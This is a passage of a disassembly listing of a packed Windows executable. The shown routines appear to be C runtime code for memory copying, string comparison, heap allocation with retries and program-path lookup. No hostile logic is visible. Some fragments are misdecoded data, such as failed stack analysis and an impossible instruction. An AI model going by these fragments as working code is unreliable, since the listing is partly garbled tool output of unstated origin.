esi, offset off_41DBAC push esi call dword_41D078 ; GetModuleHandleW test eax, eax jnz short loc_40E4F3 push esi call sub_40DAA0 pop ecx loc_40E4F3: ; CODE XREF: sub_40E4D8+12j mov edi, eax test edi, edi jz loc_40E65B mov esi, dword_41D0D8 push offset aFlsalloc ; "FlsAlloc" push edi call esi ; dword_41D0D8 push offset aFlsgetvalue ; "FlsGetValue" push edi mov dword_42EBD0, eax call esi ; dword_41D0D8 push offset aFlssetvalue ; "FlsSetValue" push edi mov dword_42EBD4, eax call esi ; dword_41D0D8 push offset aFlsfree ; "FlsFree" push edi mov dword_42EBD8, eax call esi ; dword_41D0D8 cmp dword_42EBD0, 0 mov esi, dword_41D174 mov dword_42EBDC, eax jz short loc_40E55C cmp dword_42EBD4, 0 jz short loc_40E55C cmp dword_42EBD8, 0 jz short loc_40E55C test eax, eax jnz short loc_40E580 loc_40E55C: ; CODE XREF: sub_40E4D8+6Cj ; sub_40E4D8+75j ... mov eax, dword_41D17C mov dword_42EBD4, eax mov eax, dword_41D170 mov dword_42EBD0, offset sub_40E1B5 mov dword_42EBD8, esi mov dword_42EBDC, eax loc_40E580: ; CODE XREF: sub_40E4D8+82j call dword_41D178 ; TlsAlloc mov dword_42A3A4, eax cmp eax, 0FFFFFFFFh jz loc_40E660 push dword_42EBD4 push eax call esi ; dword_41D174 test eax, eax jz loc_40E660 call sub_40DD8A push dword_42EBD0 call sub_40E0C8 push dword_42EBD4 mov dword_42EBD0, eax call sub_40E0C8 push dword_42EBD8 mov dword_42EBD4, eax call sub_40E0C8 push dword_42EBDC mov dword_42EBD8, eax call sub_40E0C8 add esp, 10h mov dword_42EBDC, eax call sub_40CE2D test eax, eax jz short loc_40E65B push offset sub_40E3A9 push dword_42EBD0 call sub_40E143 pop ecx call eax ; TlsFree mov dword_42A3A0, eax cmp eax, 0FFFFFFFFh jz short loc_40E65B push 214h push 1 call sub_40EF6F mov esi, eax pop ecx pop ecx test esi, esi jz short loc_40E65B push esi push dword_42A3A0 push dword_42EBD8 call sub_40E143 pop ecx call eax ; TlsFree test eax, eax jz short loc_40E65B push 0 push esi call sub_40E22F pop ecx pop ecx call dword_41D1C4 ; GetCurrentThreadId or dword ptr [esi+4], 0FFFFFFFFh mov [esi], eax xor eax, eax inc eax jmp short loc_40E662 ; --------------------------------------------------------------------------- loc_40E65B: ; CODE XREF: sub_40E4D8+1Fj ; sub_40E4D8+11Cj ... call sub_40E1F2 loc_40E660: ; CODE XREF: sub_40E4D8+B6j ; sub_40E4D8+C7j xor eax, eax loc_40E662: ; CODE XREF: sub_40E4D8+181j pop edi pop esi retn sub_40E4D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E665 proc near ; CODE XREF: sub_40B28B+47p ; sub_40B649+3Dp var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 10h push offset dword_4269B0 call __SEH_prolog4 xor eax, eax mov ebx, [ebp+arg_0] xor edi, edi cmp ebx, edi setnz al cmp eax, edi jnz short loc_40E69E call sub_40C862 mov dword ptr [eax], 16h push edi push edi push edi push edi push edi call sub_40B255 add esp, 14h or eax, 0FFFFFFFFh jmp short loc_40E6F1 ; --------------------------------------------------------------------------- loc_40E69E: ; CODE XREF: sub_40E665+1Aj cmp dword_430290, 3 jnz short loc_40E6DF push 4 call sub_40CFA9 pop ecx mov [ebp+ms_exc.disabled], edi push ebx call sub_40CFDC pop ecx mov [ebp+var_20], eax cmp eax, edi jz short loc_40E6CB mov esi, [ebx-4] sub esi, 9 mov [ebp+var_1C], esi jmp short loc_40E6CE ; --------------------------------------------------------------------------- loc_40E6CB: ; CODE XREF: sub_40E665+59j mov esi, [ebp+var_1C] loc_40E6CE: ; CODE XREF: sub_40E665+64j mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_40E6FF cmp [ebp+var_20], edi jnz short loc_40E6EF loc_40E6DF: ; CODE XREF: sub_40E665+40j push ebx push edi push dword_42E724 call dword_41D16C ; RtlSizeHeap mov esi, eax loc_40E6EF: ; CODE XREF: sub_40E665+78j mov eax, esi loc_40E6F1: ; CODE XREF: sub_40E665+37j call __SEH_epilog4 retn sub_40E665 endp ; =============== S U B R O U T I N E ======================================= sub_40E6F7 proc near ; DATA XREF: UPX0:004269C8o xor edi, edi mov ebx, [ebp+8] mov esi, [ebp-1Ch] sub_40E6F7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40E6FF proc near ; CODE XREF: sub_40E665+70p push 4 call sub_40CECF pop ecx retn sub_40E6FF endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E710 proc near ; CODE XREF: sub_40B376+45p ; sub_40B8A1+A5p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_40E730 cmp edi, eax jb loc_40E8D4 loc_40E730: ; CODE XREF: sub_40E710+16j cmp ecx, 100h jb short loc_40E757 cmp dword_430144, 0 jz short loc_40E757 push edi push esi and edi, 0Fh and esi, 0Fh cmp edi, esi pop esi pop edi jnz short loc_40E757 pop esi pop edi pop ebp jmp sub_41350E ; --------------------------------------------------------------------------- loc_40E757: ; CODE XREF: sub_40E710+26j ; sub_40E710+2Fj ... test edi, 3 jnz short loc_40E774 shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_40E794 rep movsd jmp off_40E884[edx*4] ; --------------------------------------------------------------------------- align 4 loc_40E774: ; CODE XREF: sub_40E710+4Dj mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_40E78C and eax, 3 add ecx, eax jmp dword ptr loc_40E794+4[eax*4] ; --------------------------------------------------------------------------- loc_40E78C: ; CODE XREF: sub_40E710+6Ej jmp dword ptr loc_40E894[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_40E794: ; CODE XREF: sub_40E710+58j ; sub_40E710+B6j ... jmp off_40E818[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_40E7A8 dd offset loc_40E7D4 dd offset loc_40E7F8 ; --------------------------------------------------------------------------- loc_40E7A8: ; DATA XREF: sub_40E710+8Co and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_40E794 rep movsd jmp off_40E884[edx*4] ; --------------------------------------------------------------------------- align 4 loc_40E7D4: ; DATA XREF: sub_40E710+90o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_40E794 rep movsd jmp off_40E884[edx*4] ; --------------------------------------------------------------------------- align 4 loc_40E7F8: ; DATA XREF: sub_40E710+94o and edx, ecx mov al, [esi] mov [edi], al add esi, 1 shr ecx, 2 add edi, 1 cmp ecx, 8 jb short loc_40E794 rep movsd jmp off_40E884[edx*4] ; --------------------------------------------------------------------------- align 4 off_40E818 dd offset loc_40E87B ; DATA XREF: sub_40E710:loc_40E794r dd offset loc_40E868 dd offset loc_40E860 dd offset loc_40E858 dd offset loc_40E850 dd offset loc_40E848 dd offset loc_40E840 dd offset loc_40E838 ; --------------------------------------------------------------------------- loc_40E838: ; CODE XREF: sub_40E710:loc_40E794j ; DATA XREF: sub_40E710+124o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_40E840: ; CODE XREF: sub_40E710:loc_40E794j ; DATA XREF: sub_40E710+120o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_40E848: ; CODE XREF: sub_40E710:loc_40E794j ; DATA XREF: sub_40E710+11Co mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_40E850: ; CODE XREF: sub_40E710:loc_40E794j ; DATA XREF: sub_40E710+118o mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_40E858: ; CODE XREF: sub_40E710:loc_40E794j ; DATA XREF: sub_40E710+114o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_40E860: ; CODE XREF: sub_40E710:loc_40E794j ; DATA XREF: sub_40E710+110o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_40E868: ; CODE XREF: sub_40E710:loc_40E794j ; DATA XREF: sub_40E710+10Co mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_40E87B: ; CODE XREF: sub_40E710:loc_40E794j ; DATA XREF: sub_40E710:off_40E818o jmp off_40E884[edx*4] ; --------------------------------------------------------------------------- align 4 off_40E884 dd offset loc_40E894 ; DATA XREF: sub_40E710+5Cr ; sub_40E710+BAr ... dd offset loc_40E89C dd offset loc_40E8A8 dd offset loc_40E8BC ; --------------------------------------------------------------------------- loc_40E894: ; CODE XREF: sub_40E710+5Cj ; sub_40E710+BAj ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_40E89C: ; CODE XREF: sub_40E710+5Cj ; sub_40E710+BAj ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_40E8A8: ; CODE XREF: sub_40E710+5Cj ; sub_40E710+BAj ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_40E8BC: ; CODE XREF: sub_40E710+5Cj ; sub_40E710+BAj ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_40E8D4: ; CODE XREF: sub_40E710+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_40E908 shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_40E8FC std rep movsd cld jmp off_40EA20[edx*4] ; --------------------------------------------------------------------------- align 4 loc_40E8FC: ; CODE XREF: sub_40E710+1DDj ; sub_40E710+238j ... neg ecx jmp off_40E9D0[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_40E908: ; CODE XREF: sub_40E710+1D2j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_40E920 and eax, 3 sub ecx, eax jmp dword ptr loc_40E920+4[eax*4] ; --------------------------------------------------------------------------- loc_40E920: ; CODE XREF: sub_40E710+202j ; DATA XREF: sub_40E710+209r jmp off_40EA20[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_40E933+1 dd offset loc_40E958 ; --------------------------------------------------------------------------- sub cl, 40h loc_40E933: ; DATA XREF: sub_40E710+218o add [edx-2EDCFCBAh], cl mov [edi+3], al sub esi, 1 shr ecx, 2 sub edi, 1 cmp ecx, 8 jb short loc_40E8FC std rep movsd cld jmp off_40EA20[edx*4] ; --------------------------------------------------------------------------- align 4 loc_40E958: ; DATA XREF: sub_40E710+21Co mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_40E8FC std rep movsd cld jmp off_40EA20[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_40E8FC std rep movsd cld jmp off_40EA20[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_40E9D4 dd offset loc_40E9DC dd offset loc_40E9E4 dd offset loc_40E9EC dd offset loc_40E9F4 dd offset loc_40E9FC dd offset loc_40EA04 off_40E9D0 dd offset loc_40EA17 ; DATA XREF: sub_40E710+1EEr ; --------------------------------------------------------------------------- loc_40E9D4: ; DATA XREF: sub_40E710+2A4o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_40E9DC: ; DATA XREF: sub_40E710+2A8o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_40E9E4: ; DATA XREF: sub_40E710+2ACo mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_40E9EC: ; DATA XREF: sub_40E710+2B0o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_40E9F4: ; DATA XREF: sub_40E710+2B4o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_40E9FC: ; DATA XREF: sub_40E710+2B8o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_40EA04: ; DATA XREF: sub_40E710+2BCo mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_40EA17: ; CODE XREF: sub_40E710+1EEj ; DATA XREF: sub_40E710:off_40E9D0o jmp off_40EA20[edx*4] ; --------------------------------------------------------------------------- align 10h off_40EA20 dd offset loc_40EA30 ; DATA XREF: sub_40E710+1E3r ; sub_40E710:loc_40E920r ... dd offset loc_40EA38 dd offset loc_40EA48 dd offset loc_40EA5C ; --------------------------------------------------------------------------- loc_40EA30: ; CODE XREF: sub_40E710+1E3j ; sub_40E710:loc_40E920j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_40EA38: ; CODE XREF: sub_40E710+1E3j ; sub_40E710:loc_40E920j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_40EA48: ; CODE XREF: sub_40E710+1E3j ; sub_40E710:loc_40E920j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_40EA5C: ; CODE XREF: sub_40E710+1E3j ; sub_40E710:loc_40E920j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_40E710 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EA75 proc near ; CODE XREF: sub_40B3F3+9p var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 0Ch push offset dword_4269D0 call __SEH_prolog4 push 0Eh call sub_40CFA9 pop ecx and [ebp+ms_exc.disabled], 0 mov esi, [ebp+arg_0] mov ecx, [esi+4] test ecx, ecx jz short loc_40EAC6 mov eax, dword_42EBE4 mov edx, offset dword_42EBE0 loc_40EAA1: ; CODE XREF: sub_40EA75+65j mov [ebp+var_1C], eax test eax, eax jz short loc_40EAB9 cmp [eax], ecx jnz short loc_40EAD8 mov ecx, [eax+4] mov [edx+4], ecx push eax call sub_40ADC8 pop ecx loc_40EAB9: ; CODE XREF: sub_40EA75+31j push dword ptr [esi+4] call sub_40ADC8 pop ecx and dword ptr [esi+4], 0 loc_40EAC6: ; CODE XREF: sub_40EA75+20j mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_40EADC call __SEH_epilog4 retn ; --------------------------------------------------------------------------- loc_40EAD8: ; CODE XREF: sub_40EA75+35j mov edx, eax jmp short loc_40EAA1 sub_40EA75 endp ; =============== S U B R O U T I N E ======================================= sub_40EADC proc near ; CODE XREF: sub_40EA75+58p ; DATA XREF: UPX0:004269E8o push 0Eh call sub_40CECF pop ecx retn sub_40EADC endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40EAF0 proc near ; CODE XREF: sub_40B424+10p ; sub_4101FD+28p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_40EB3C loc_40EB00: ; CODE XREF: sub_40EAF0+3Cj ; sub_40EAF0+6Aj ... mov eax, [edx] cmp al, [ecx] jnz short loc_40EB34 or al, al jz short loc_40EB30 cmp ah, [ecx+1] jnz short loc_40EB34 or ah, ah jz short loc_40EB30 shr eax, 10h cmp al, [ecx+2] jnz short loc_40EB34 or al, al jz short loc_40EB30 cmp ah, [ecx+3] jnz short loc_40EB34 add ecx, 4 add edx, 4 or ah, ah jnz short loc_40EB00 mov edi, edi loc_40EB30: ; CODE XREF: sub_40EAF0+18j ; sub_40EAF0+21j ... xor eax, eax retn ; --------------------------------------------------------------------------- align 4 loc_40EB34: ; CODE XREF: sub_40EAF0+14j ; sub_40EAF0+1Dj ... sbb eax, eax shl eax, 1 add eax, 1 retn ; --------------------------------------------------------------------------- loc_40EB3C: ; CODE XREF: sub_40EAF0+Ej test edx, 1 jz short loc_40EB5C mov al, [edx] add edx, 1 cmp al, [ecx] jnz short loc_40EB34 add ecx, 1 or al, al jz short loc_40EB30 test edx, 2 jz short loc_40EB00 loc_40EB5C: ; CODE XREF: sub_40EAF0+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_40EB34 or al, al jz short loc_40EB30 cmp ah, [ecx+1] jnz short loc_40EB34 or ah, ah jz short loc_40EB30 add ecx, 2 jmp short loc_40EB00 sub_40EAF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EB78 proc near ; CODE XREF: sub_40B5BD+15p ; sub_40EF6F+11p var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h ; FUNCTION CHUNK AT 0040EC7D SIZE 00000019 BYTES push 0Ch push offset dword_4269F0 call __SEH_prolog4 mov ecx, [ebp+arg_0] xor edi, edi cmp ecx, edi jbe short loc_40EBBB push 0FFFFFFE0h pop eax xor edx, edx div ecx cmp eax, [ebp+arg_4] sbb eax, eax inc eax jnz short loc_40EBBB call sub_40C862 mov dword ptr [eax], 0Ch push edi push edi push edi push edi push edi call sub_40B255 add esp, 14h loc_40EBB4: ; CODE XREF: sub_40EB78+E6j ; sub_40EB78+F2j xor eax, eax jmp loc_40EC90 ; --------------------------------------------------------------------------- loc_40EBBB: ; CODE XREF: sub_40EB78+13j ; sub_40EB78+22j imul ecx, [ebp+arg_4] mov esi, ecx mov [ebp+arg_0], esi cmp esi, edi jnz short loc_40EBCB xor esi, esi inc esi loc_40EBCB: ; CODE XREF: sub_40EB78+4Ej ; sub_40EB78+DBj xor ebx, ebx mov [ebp+var_1C], ebx cmp esi, 0FFFFFFE0h ja short loc_40EC3E cmp dword_430290, 3 jnz short loc_40EC29 add esi, 0Fh and esi, 0FFFFFFF0h mov [ebp+arg_4], esi mov eax, [ebp+arg_0] cmp eax, dword_430280 ja short loc_40EC29 push 4 call sub_40CFA9 pop ecx mov [ebp+ms_exc.disabled], edi push [ebp+arg_0] call sub_40D7BB pop ecx mov [ebp+var_1C], eax mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_40EC74 mov ebx, [ebp+var_1C] cmp ebx, edi jz short loc_40EC2D push [ebp+arg_0] push edi push ebx call sub_40BD40 add esp, 0Ch loc_40EC29: ; CODE XREF: sub_40EB78+64j ; sub_40EB78+78j cmp ebx, edi jnz short loc_40EC8E loc_40EC2D: ; CODE XREF: sub_40EB78+A2j push esi push 8 push dword_42E724 call dword_41D0D4 ; RtlAllocateHeap mov ebx, eax loc_40EC3E: ; CODE XREF: sub_40EB78+5Bj cmp ebx, edi jnz short loc_40EC8E cmp dword_42EBC8, edi jz short loc_40EC7D push esi call sub_40DFCB pop ecx test eax, eax jnz loc_40EBCB mov eax, [ebp+arg_8] cmp eax, edi jz loc_40EBB4 mov dword ptr [eax], 0Ch jmp loc_40EBB4 sub_40EB78 endp ; =============== S U B R O U T I N E ======================================= sub_40EC6F proc near ; DATA XREF: UPX0:00426A08o xor edi, edi mov esi, [ebp+0Ch] sub_40EC6F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40EC74 proc near ; CODE XREF: sub_40EB78+98p push 4 call sub_40CECF pop ecx retn sub_40EC74 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_40EB78 loc_40EC7D: ; CODE XREF: sub_40EB78+D0j cmp ebx, edi jnz short loc_40EC8E mov eax, [ebp+arg_8] cmp eax, edi jz short loc_40EC8E mov dword ptr [eax], 0Ch loc_40EC8E: ; CODE XREF: sub_40EB78+B3j ; sub_40EB78+C8j ... mov eax, ebx loc_40EC90: ; CODE XREF: sub_40EB78+3Ej call __SEH_epilog4 retn ; END OF FUNCTION CHUNK FOR sub_40EB78 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EC96 proc near ; CODE XREF: sub_40ED0F+122p ; sub_40ED0F+1EEp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h mov edi, edi push ebp mov ebp, esp push ecx push ecx push esi xor esi, esi cmp [ebp+arg_0], esi jnz short loc_40ECC2 loc_40ECA5: ; CODE XREF: sub_40EC96+2Fj call sub_40C862 push esi push esi push esi push esi push esi mov dword ptr [eax], 16h call sub_40B255 add esp, 14h loc_40ECBD: ; CODE XREF: sub_40EC96+4Dj or eax, 0FFFFFFFFh jmp short loc_40ED0C ; --------------------------------------------------------------------------- loc_40ECC2: ; CODE XREF: sub_40EC96+Dj cmp [ebp+arg_4], esi jz short loc_40ECA5 push [ebp+arg_0] lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push [ebp+arg_8] push [ebp+arg_4] call sub_413E93 add esp, 14h cmp eax, 0FFFFFFFFh jz short loc_40ECBD push [ebp+var_8] push [ebp+var_4] push [ebp+arg_0] push 2 call sub_413C84 push [ebp+var_4] mov esi, eax call sub_40ADC8 push [ebp+var_8] call sub_40ADC8 add esp, 18h mov eax, esi loc_40ED0C: ; CODE XREF: sub_40EC96+2Aj pop esi leave retn sub_40EC96 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ED0F proc near ; CODE XREF: sub_40B5FD+41p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h mov edi, edi push ebp mov ebp, esp sub esp, 14h push ebx push edi mov edi, [ebp+arg_0] xor ebx, ebx mov [ebp+var_4], edi cmp edi, ebx jnz short loc_40ED45 loc_40ED25: ; CODE XREF: sub_40ED0F+38j ; sub_40ED0F+3Fj ... call sub_40C862 push ebx push ebx push ebx push ebx push ebx mov dword ptr [eax], 16h call sub_40B255 add esp, 14h or eax, 0FFFFFFFFh jmp loc_40EF26 ; --------------------------------------------------------------------------- loc_40ED45: ; CODE XREF: sub_40ED0F+14j cmp [edi], bl jz short loc_40ED25 mov eax, [ebp+arg_4] cmp eax, ebx jz short loc_40ED25 mov eax, [eax] cmp eax, ebx jz short loc_40ED25 cmp [eax], bl jz short loc_40ED25 push esi push 5Ch push edi call sub_414484 push 2Fh push edi mov esi, eax call sub_414484 add esp, 10h cmp eax, ebx jnz loc_40EDF9 cmp esi, ebx jnz loc_40EE03 push 3Ah push edi call sub_4143B1 mov esi, eax pop ecx pop ecx cmp esi, ebx jnz short loc_40EE03 push edi call sub_40BFB0 mov esi, eax add esi, 3 push 1 push esi call sub_40EF6F mov edi, eax add esp, 0Ch mov [ebp+var_4], edi cmp edi, ebx jz loc_40EE60 push offset a__0 ; ".\\" push esi push edi call sub_40CD95 add esp, 0Ch test eax, eax jz short loc_40EDD3 push ebx push ebx push ebx push ebx push ebx call sub_40B12D add esp, 14h loc_40EDD3: ; CODE XREF: sub_40ED0F+B5j push [ebp+arg_0] push esi push edi call sub_4139F9 add esp, 0Ch test eax, eax jz short loc_40EDF1 push ebx push ebx push ebx push ebx push ebx call sub_40B12D add esp, 14h loc_40EDF1: ; CODE XREF: sub_40ED0F+D3j lea esi, [edi+2] mov edi, [ebp+arg_0] jmp short loc_40EE03 ; --------------------------------------------------------------------------- loc_40EDF9: ; CODE XREF: sub_40ED0F+63j cmp esi, ebx jz short loc_40EE01 cmp eax, esi jbe short loc_40EE03 loc_40EE01: ; CODE XREF: sub_40ED0F+ECj mov esi, eax loc_40EE03: ; CODE XREF: sub_40ED0F+6Bj ; sub_40ED0F+7Fj ... or [ebp+var_10], 0FFFFFFFFh push 2Eh push esi call sub_414484 pop ecx pop ecx test eax, eax jz short loc_40EE41 push ebx push [ebp+var_4] call sub_41426C pop ecx pop ecx test eax, eax jnz loc_40EF14 push [ebp+arg_8] push [ebp+arg_4] push [ebp+var_4] call sub_40EC96 add esp, 0Ch mov [ebp+var_10], eax jmp loc_40EF14 ; --------------------------------------------------------------------------- loc_40EE41: ; CODE XREF: sub_40ED0F+104j push [ebp+var_4] call sub_40BFB0 mov esi, eax add esi, 5 push 1 push esi call sub_40EF6F add esp, 0Ch mov [ebp+var_8], eax cmp eax, ebx jnz short loc_40EE68 loc_40EE60: ; CODE XREF: sub_40ED0F+9Ej or eax, 0FFFFFFFFh jmp loc_40EF25 ; --------------------------------------------------------------------------- loc_40EE68: ; CODE XREF: sub_40ED0F+14Fj push [ebp+var_4] push esi push eax call sub_40CD95 add esp, 0Ch test eax, eax jz short loc_40EE86 push ebx push ebx push ebx push ebx push ebx call sub_40B12D add esp, 14h loc_40EE86: ; CODE XREF: sub_40ED0F+168j push [ebp+var_4] call sub_40BFB0 mov edi, eax add edi, [ebp+var_8] pop ecx call sub_40C862 mov eax, [eax] mov [ebp+var_14], eax mov eax, [ebp+var_8] sub esi, edi add esi, eax mov [ebp+var_C], offset off_42A3CC loc_40EEAC: ; CODE XREF: sub_40ED0F+1D7j mov eax, [ebp+var_C] push dword ptr [eax] push esi push edi call sub_40CD95 add esp, 0Ch test eax, eax jz short loc_40EECC push ebx push ebx push ebx push ebx push ebx call sub_40B12D add esp, 14h loc_40EECC: ; CODE XREF: sub_40ED0F+1AEj push ebx push [ebp+var_8] call sub_41426C pop ecx pop ecx test eax, eax jz short loc_40EEEA sub [ebp+var_C], 4 cmp [ebp+var_C], offset off_42A3C0 jge short loc_40EEAC jmp short loc_40EF08 ; --------------------------------------------------------------------------- loc_40EEEA: ; CODE XREF: sub_40ED0F+1CAj call sub_40C862 push [ebp+arg_8] mov ecx, [ebp+var_14] push [ebp+arg_4] mov [eax], ecx push [ebp+var_8] call sub_40EC96 add esp, 0Ch mov [ebp+var_10], eax loc_40EF08: ; CODE XREF: sub_40ED0F+1D9j push [ebp+var_8] call sub_40ADC8 mov edi, [ebp+arg_0] pop ecx loc_40EF14: ; CODE XREF: sub_40ED0F+113j ; sub_40ED0F+12Dj cmp [ebp+var_4], edi jz short loc_40EF22 push [ebp+var_4] call sub_40ADC8 pop ecx loc_40EF22: ; CODE XREF: sub_40ED0F+208j mov eax, [ebp+var_10] loc_40EF25: ; CODE XREF: sub_40ED0F+154j pop esi loc_40EF26: ; CODE XREF: sub_40ED0F+31j pop edi pop ebx leave retn sub_40ED0F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EF2A proc near ; CODE XREF: sub_40CEE6+48p ; sub_40F83F+7Ep ... arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp push esi push edi xor esi, esi loc_40EF33: ; CODE XREF: sub_40EF2A+3Dj push [ebp+arg_0] call sub_40AEA5 mov edi, eax pop ecx test edi, edi jnz short loc_40EF69 cmp dword_42EBE8, eax jbe short loc_40EF69 push esi call dword_41D080 ; Sleep lea eax, [esi+3E8h] cmp eax, dword_42EBE8 jbe short loc_40EF62 or eax, 0FFFFFFFFh loc_40EF62: ; CODE XREF: sub_40EF2A+33j mov esi, eax cmp eax, 0FFFFFFFFh jnz short loc_40EF33 loc_40EF69: ; CODE XREF: sub_40EF2A+16j ; sub_40EF2A+1Ej mov eax, edi pop edi pop esi pop ebp retn sub_40EF2A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EF6F proc near ; CODE XREF: UPX0:0040B70Ap ; sub_40E316+26p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch mov edi, edi push ebp mov ebp, esp push esi push edi xor esi, esi loc_40EF78: ; CODE XREF: sub_40EF6F+44j push 0 push [ebp+arg_4] push [ebp+arg_0] call sub_40EB78 mov edi, eax add esp, 0Ch test edi, edi jnz short loc_40EFB5 cmp dword_42EBE8, eax jbe short loc_40EFB5 push esi call dword_41D080 ; Sleep lea eax, [esi+3E8h] cmp eax, dword_42EBE8 jbe short loc_40EFAE or eax, 0FFFFFFFFh loc_40EFAE: ; CODE XREF: sub_40EF6F+3Aj mov esi, eax cmp eax, 0FFFFFFFFh jnz short loc_40EF78 loc_40EFB5: ; CODE XREF: sub_40EF6F+1Dj ; sub_40EF6F+25j mov eax, edi pop edi pop esi pop ebp retn sub_40EF6F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EFBB proc near ; CODE XREF: sub_40B649+61p ; sub_40B649+77p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch mov edi, edi push ebp mov ebp, esp push esi push edi xor esi, esi loc_40EFC4: ; CODE XREF: sub_40EFBB+46j push [ebp+arg_4] push [ebp+arg_0] call sub_40B8A1 mov edi, eax pop ecx pop ecx test edi, edi jnz short loc_40F003 cmp [ebp+arg_4], eax jz short loc_40F003 cmp dword_42EBE8, eax jbe short loc_40F003 push esi 